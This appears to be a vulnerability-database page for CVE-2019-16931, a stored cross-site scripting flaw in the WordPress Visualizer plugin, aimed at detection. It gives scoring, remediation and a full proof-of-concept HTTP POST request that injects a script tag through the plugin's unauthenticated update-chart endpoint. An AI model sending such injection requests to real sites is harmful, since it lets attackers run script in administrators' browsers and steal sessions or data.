🔙 목록으로 돌아가기

CVE-2019-16931: WordPress Visualizer <3.3.1 - Cross-Site Scripting

TitleWordPress Visualizer <3.3.1 - Cross-Site Scripting
Authorritikchaddha
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationUpdate to the latest version of WordPress Visualizer plugin (3.3.1) or apply the provided patch to fix the XSS vulnerability.
CVSS Score6.1
EPSS Score0.01991
CVE IDCVE-2019-16931
CWE IDCWE-79
Tags cve cve2019 wp-plugin wordpress wp xss unauth wpscan themeisle vuln

🔍 Vulnerability Description

WordPress Visualizer plugin before 3.3.1 contains a stored cross-site scripting vulnerability via /wp-json/visualizer/v1/update-chart WP-JSON API endpoint. An unauthenticated attacker can execute arbitrary JavaScript when an admin or other privileged user edits the chart via the admin dashboard.

🌐 HTTP Request

POST /wp-json/visualizer/v1/update-chart HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Content-Length: 77
Content-Type: application/json
Accept-Encoding: gzip

{"id": 7, "visualizer-chart-type": "<script>alert(document.domain)</script>"}

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-16931.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-16931.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A